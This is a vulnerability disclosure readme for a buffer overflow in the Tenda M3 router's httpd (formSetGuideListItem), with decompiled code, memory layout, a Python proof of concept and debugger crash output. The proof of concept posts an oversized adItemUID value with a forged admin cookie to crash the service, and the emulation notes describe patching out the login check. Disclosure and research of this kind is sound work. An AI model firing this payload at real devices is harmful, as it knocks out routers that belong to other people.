

🔑 main ▾    Vuln / Tenda M3 / formSetGuideListItem /



xxy1126 update 20220820 ...

on Aug 19    ⌚ History

..



readme.assets

3 months ago



readme.markdown

3 months ago



readme.markdown

# Tenda M3 contains Buffer Overflow Vulnerability

## overview

- type: buffer overflow vulnerability
- supplier: Tenda <https://www.tenda.com>
- product: TendaM3 <https://www.tenda.com.cn/product/M3.html>
- firmware download: <https://www.tenda.com.cn/download/detail-3133.html>
- affect version: TendaM3 v1.0.0.12(4856)

## Description

### 1. Vulnerability Details

the httpd in directory /bin has a buffer overflow. The vulnerability is in function formSetGuideListItem

```

v17 = "success";
s1 = (char *)webGetVar(a1, "action", "edit");
s = (char *)webGetVar(a1, "adItemUID", "1234567890");
nptr = (char *)webGetVar(a1, "listItemNo", "0");
src = (void *)webGetVar(a1, "adGuideName", &unk_AD08C);
v11 = (void *)webGetVar(a1, "adGuideLink", &unk_AD08C);
if ( atoi(npnr) <= 3 )
{
    if ( !strcmp(s1, "edit") )
    {
        if ( strcmp(s, g_GuideArrayID) )
        {
            v1 = strlen(s);
            memcpy(g_GuideArrayID, s, v1);
            memset(g_GuideArray, 0, sizeof(g_GuideArray));
            memset(g_GuideArrayBuf, 0, sizeof(g_GuideArrayBuf));
            v2 = strlen(s);
            memcpy(&g_PicListArrayID, s, v2);
            memset(g_PicListArray, 0, sizeof(g_PicListArray));
            memset(g_PicListArrayBuf, 0, sizeof(g_PicListArrayBuf));
        }
        if ( strcmp(s, g_PicNameArrayID) )

```

In this function, it copies POST parameter `adItemUID` to buffer in `.bss`

```

.bss:000BB828 ; char g_GuideArrayID[32]
.bss:000BB828 g_GuideArrayID % 0x20 ; DATA XREF: LOAD:00008F04↑o
.bss:000BB828 ; formSetGuideListItem+134↑o ...
.bss:000BB848 EXPORT g_PicListArray
.bss:000BB848 ; _DWORD g_PicListArray[164]
.bss:000BB848 g_PicListArray % 0x200 ; DATA XREF: LOAD:0000AA64↑o

```

If `s` is too long, it will causes dos(deny of service)

## 2. Recurring loopholes and POC

use `qemu-arm-static` to run the `httpd`, we need to patch it before run.

- in `main` function, The `connectCfm` function didn't work properly, so I patched it to `NOP`
- The `R7WebsSecurityHandler` function is used for permission control, and I've modified it to access URLs that can only be accessed after login

poc of DOS(deny of service)

```
import requests
```

```
data = {
    "adItemUID": "a"*0x2000
}
```

```

}
cookies = {
    "user": "admin"
}
res = requests.post("http://127.0.0.1/goform/setGuideListItem", data=data, cookies=c
print(res.content)

```



```

[ DISASM ]
► 0x8cc04 <formSetGuideListItem+364>    bl      #memcpy@plt      <memcpy@plt>
    dest: 0xbb828 (g_GuideArrayID) ← 0
    src: 0xff551010 ← 0x61616161 ('aaaa')
    n: 0x2000

0x8cc08 <formSetGuideListItem+368>    ldr     r3, [pc, #0x5a8]
0x8cc0c <formSetGuideListItem+372>    ldr     r3, [r4, r3]
0x8cc10 <formSetGuideListItem+376>    mov     r0, r3
0x8cc14 <formSetGuideListItem+380>    mov     r1, #0
0x8cc18 <formSetGuideListItem+384>    mov     r2, #0x290
0x8cc1c <formSetGuideListItem+388>    bl      #memset@plt      <memset@plt>

0x8cc20 <formSetGuideListItem+392>    ldr     r3, [pc, #0x594]
0x8cc24 <formSetGuideListItem+396>    ldr     r3, [r4, r3]
0x8cc28 <formSetGuideListItem+400>    mov     r0, r3
0x8cc2c <formSetGuideListItem+404>    mov     r1, #0

```

```

pwndbg> x/100xg 0xbb828
0xbb828 <g_GuideArrayID>:          0x6161616161616161      0x6161616161616161
0xbb838 <g_GuideArrayID+16>:        0x6161616161616161      0x6161616161616161
0xbb848 <g_PicListArray>:          0x6161616161616161      0x6161616161616161
0xbb858 <g_PicListArray+16>:       0x6161616161616161      0x6161616161616161
0xbb868 <g_PicListArray+32>:       0x6161616161616161      0x6161616161616161
0xbb878 <g_PicListArray+48>:       0x6161616161616161      0x6161616161616161
0xbb888 <g_PicListArray+64>:       0x6161616161616161      0x6161616161616161
0xbb898 <g_PicListArray+80>:       0x6161616161616161      0x6161616161616161
0xbb8a8 <g_PicListArray+96>:       0x6161616161616161      0x6161616161616161
0xbb8b8 <g_PicListArray+112>:      0x6161616161616161      0x6161616161616161
0xbb8c8 <g_PicListArray+128>:      0x6161616161616161      0x6161616161616161
0xbb8d8 <g_PicListArray+144>:      0x6161616161616161      0x6161616161616161
0xbb8e8 <g_PicListArray+160>:      0x6161616161616161      0x6161616161616161
0xbb8f8 <g_PicListArray+176>:      0x6161616161616161      0x6161616161616161
0xbb908 <g_PicListArray+192>:      0x6161616161616161      0x6161616161616161
0xbb918 <g_PicListArray+208>:      0x6161616161616161      0x6161616161616161
0xbb928 <g_PicListArray+224>:      0x6161616161616161      0x6161616161616161

```

Program received signal SIGSEGV, Segmentation fault.

0x00019ea8 in ?? ()

LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA

[ REGISTERS ]

```
*R0 0x1
*R1 0x61616161 ('aaaa')
*R2 0x61616165 ('eaaa')
*R3 0xb96cc → 0xb95ac ← 1
*R4 0xcf300 ← subspl r5, r4, r8, asr #8 /* 0x50545448; 'HTTP/1.1 200 OK\nContent-type: text/plai
R5 0xce608 ← strbtvs r6, [pc], -pc, lsr #14 /* 0x666f672f; '/goform/setGuideListItem' */
R6 0x1
R7 0xffffef89d ← svchs #0x6e6962 /* 0x2f6e6962; 'bin/httpd' */
R8 0xda48 (init) ← mov ip, sp /* 0xe1a0c00d */
R9 0x2a080 ← push {r4, fp, lr} /* 0xe92d4810 */
R10 0xffffef718 ← 0
*R11 0xffffef324 → 0x19010 ← str r0, [fp, #-0xc] /* 0xe50b000c; '\x0c' */
*R12 0x30303220 (' 200')
*SP 0xffffef318 ← 0x62 /* 'b' */
*PC 0x19ea8 ← ldr r2, [r2] /* 0xe5922000 */
```

[ DISASM ]

```
► 0x19ea8 ldr r2, [r2]
0x19eac cmp r2, #0
0x19eb0 bne #0x19ecc <0x19ecc>
```

Welcome to ...

connect: No such file or directory

Connect to server failed.

connect: No such file or directory

Connect to server failed.

connect: No such file or directory

Connect to server failed.

connect: No such file or directory

Connect to server failed.

connect: No such file or directory

Connect to server failed.

connect: No such file or directory

Connect to server failed.

connect: No such file or directory

Connect to server failed.

connect: No such file or directory

Connect to server failed.

connect: No such file or directory

Connect to server failed.

connect: No such file or directory

Connect to server failed.

/bin/sh: can't create /proc/sys/net/ipv4/tcp\_timestamps: nonexistent directory

httpd listen ip = 127.0.0.1 port = 80

webs: Listening for HTTP requests at address 20.246.254.255

qemu: uncaught target signal 11 (Segmentation fault) - core dumped

[1] 9729 segmentation fault sudo chroot . ./qemu bin/httpd